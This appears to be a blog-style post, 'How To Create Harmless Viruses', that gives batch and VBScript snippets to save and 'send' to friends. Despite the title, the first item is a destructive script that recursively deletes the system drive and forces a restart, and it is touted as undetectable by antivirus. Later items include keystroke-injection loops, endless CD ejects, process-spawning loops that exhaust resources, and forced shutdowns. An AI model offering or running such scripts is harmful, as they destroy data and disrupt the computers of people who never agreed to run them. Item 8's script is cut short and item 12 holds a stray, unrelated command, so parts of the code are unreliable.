How To Create Harmless Viruses

Here are many tricks to create virus here i am tell u making virus from batch and vbs...A batch file is an unformatted text file that contains one or more commands and has a .bat or .cmd file name extension. When you type the file name at the command prompt, Cmd.exe runs the commands sequentially as they appear in the file.

You can include any command in a batch file. Certain commands, such as for, goto, and if, enable you to do conditional processing of the commands in the batch file. For example, the if command carries out a command based on the results of a condition. Other commands allow you to control input and output and call other batch files.The standard error codes that most applications return are 0 if no error occurred and 1 (or higher value) if an error occurred. Please refer to your application help documentation to determine the meaning of specific error codes. just do the process as it is written....

NOTE : TO CLOSE  THE VIRUS JUST RESTART THE  COMPUTER OR OPEN TASK MANAGER AND END THE PROCESS WSCRIPT.EXE. 

NOTE : TO CLOSE  THE VIRUS JUST RESTART THE  COMPUTER OR OPEN TASK MANAGER AND END THE PROCESS WSCRIPT.EXE. 
------------------------
write ur own simple virus cant detected by any antivirus....
@Echo off 
Del C:\ *.* 
y 


or better version


@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00


And save that as .bat not .txt and RUN IT

It will delete the content of C:\ drive...
PLEASE NoTe::::: dont run that .bat file on ur system .... it will delet c:...
IF ANY ONE..... DARE TO ......RUN ...U LOST ..........CONTENTS OF C drive
EVEN I DIDN't TRY THIS........
I WILL NOT RESPONSIBLE FOR ANYTHING DONE BYE U USING THE INFORMATION GIVEN ABOVE...
-------------------------------------------------------------------------
-------------------------------------------------------------------------
2) Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them!
Type :
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject


Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject


Next
End If
wscript.sleep 5000
loop 


Save it as "Anything.VBS" and send it.
==============================================================
3) Frustrate your friend by making this VBScript hit Enter simultaneously:
Type :
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop 


Save it as "Anything.VBS" and send it.
==============================================================
4) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out:
Type :
Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! " 


Save it as "Anything.VBS" and send it.
==============================================================
5) Frustrate your friend by making this VBScript hit Backspace simultaneously:
Type :
Code:
MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop 
Save it as "Anything.VBS" and send it.
==============================================================
6) Hack your friend's keyboard and make him type "You are a fool" simultaneously:
Type :
Code:
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop 
Save it as "Anything.VBS" and send it.
==============================================================
7) Open Notepad continually in your friend's computer:
Type :
Code:
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top 


Save it as "Anything.BAT" and send it.
==============================================================
8 ) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:
1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown
Type :
Code:
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)


echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two 


Save it as "Anything.BAT" and send it.
==============================================================
9) Hide text inside your text file ! 
* Open your command prompt Start–>Run type cmd
* Move to any destination for example let us assume D:\> drive
* Type the below code in your command prompt
* D:\>notepad syshacks.txt:hidden
* syshacks notepad save
* syshacks notepad hidden
* Write some data and save the file.
* Move to D:\> and open syshacks.txt you cannot see no data in the file syshacks.txt.
* To retrieve the hidden data open command prompt and type the same command.
* D:\>notepad syshacks.txt:hidden
* Notepad will open syshacks.txt file with hidden data


==============================================================
10) A Virus That Will Open And Close Ur Cdrom
Code:
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
do
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next ' cdrom
loop
End If


Save it as "Anything.vbs" and send it.
Now if u want to disable this go to task manager click on process
then find wscript.exe and end this process 
==============================================================
11) Notepad virus
Open NotePad And Write This:
Code:
@echo off
:E
start cmd.exe
start calc.exe


Save It As .bat.
==============================================================
12) Code to shutdown computer


Open NotePad And Write This:
Code:
avidemux2_cli --run j-1.js --run j-2.js --end
shutdown.exe -s -t 00 
Save It As .bat
==============================================================
13) Code for log
Open NotePad And Write This:
Code:
.LOG
and Save It As .txt
now if you open the file
its writes the time and day that you log...
==============================================================
14) Code for matrix falling text-
Open NotePad And Write This:
Code:
@echo off
:loop
COlor 0A
Title J J f f g g g g
echo 0 A 0 1 1 1 A 0 1 0 1 0 7 7 8 9 9 1 0 1 0 1 A 1 0 a d d f f 1 0 8
echo 0 0 0 0 0 0 0 0 1 A 0 A 1 0 A 1 1 1 1 0 A 1 0 A 5 5 6 7 a n k k k
echo 0 1 0 1 0 A B J 0 3 4 0 1 0 1 0 1 B A A O i d d 3 3 4 4 6 7 7 g u
echo 0 2 3 1 1 1 5 5 6 5 6 8 9 5 4 5 4 5 5 4 5 5 6 4 f f f g j d g d f g d
echo 2 4 5 6 5 5 6 5 9 4 5 7 7 7 7 8 9 9 0 66 6 1 5 5 6 4 5 5 8 6 4 4 6 4
goto :loop 


Save It As .bat
==============================================================
15)code to make computer chat with you
Open NotePad And Write This:
Code:
dim fname
fname=inputbox(" Hi whats your name?")
fname=inputbox("My Name Is Saplas")
fname=inputbox(" I Love You Saplas ^^.")
Save It As .vbs

Thanks For Making This Possible! Kindly Bookmark and Share it.